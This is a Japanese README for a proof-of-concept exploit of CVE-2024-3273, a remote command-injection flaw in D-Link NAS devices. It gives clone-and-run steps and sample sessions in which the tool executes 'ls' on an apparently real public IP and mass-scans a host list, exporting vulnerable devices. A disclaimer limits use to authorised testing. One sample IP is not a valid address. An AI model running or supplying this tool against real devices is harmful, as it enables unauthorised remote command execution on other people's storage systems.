
CVE-2024-3273 のエクスプロイト。単一ホストおよび複数ホストに対応。
このリポジトリには、D-Link NAS デバイスで発見されたセキュリティ脆弱性 CVE-2024-3273 の概念実証 (PoC) が含まれています。この脆弱性により、攻撃者は脆弱なデバイス上で任意のコマンドを実行できます。
CVE-2024-3273 は、D-Link NAS デバイスにおける脆弱性であり、リモートの攻撃者が cgi-bin/nas_sharing.cgi エンドポイントへの巧妙に細工された HTTP リクエストを介して任意のコマンドを実行することを可能にします。
この PoC は、脆弱な D-Link NAS デバイス上でコマンドを実行するためにこの脆弱性をどのように悪用できるかを示しています。
requests ライブラリこのリポジトリをクローンします:
git clone https://github.com/adhikara13/CVE-2024-3273.git
リポジトリディレクトリに移動します:
cd CVE-2024-3273
PoC を実行します:
python main.py
画面上の指示に従ってターゲットデバイスを選択します:
host:port 形式で複数のターゲットデバイスを含むファイルを指定し、脆弱なホストを vulnerables.txt にエクスポートするかどうかを選択します。┏┓┓┏┏┓ ┏┓┏┓┏┓┏┓ ┏┓┏┓━┓┏┓
┃ ┃┃┣ ━━┏┛┃┫┏┛┃┃━━ ┫┏┛ ┃ ┫
┗┛┗┛┗┛ ┗━┗┛┗━┗╋ ┗┛┗━ ╹┗┛
Choose an option (1: Single Host, 2: Multiple Hosts): 1
Enter the host: 114.32.179.200
Enter the command to run: ls
Response from 114.32.179.200:
box.cgi
codepage_mgr.cgi
download_mgr.cgi
dropbox.cgi
folder_tree.cgi
┏┓┓┏┏┓ ┏┓┏┓┏┓┏┓ ┏┓┏┓━┓┏┓
┃ ┃┃┣ ━━┏┛┃┫┏┛┃┃━━ ┫┏┛ ┃ ┫
┗┛┗┛┗┛ ┗━┗┛┗━┗╋ ┗┛┗━ ╹┗┛
Choose an option (1: Single Host, 2: Multiple Hosts): 2
Enter the file path containing hosts: list.txt
Export vulnerable host to vulnerables.txt? (y/n): y
Connection error for host 87.205.188.21:9290.
Connection error for host 186.212.112.141:8081.
Host 124.120.263.149:8032 is vulnerable.
この PoC は教育および研究目的のみに提供されています。責任を持って使用し、テストが許可されているデバイスでのみ使用してください。
コントリビューションを歓迎します!問題点や改善点を見つけた場合は、遠慮なく Issue を開くかプルリクエストを作成してください。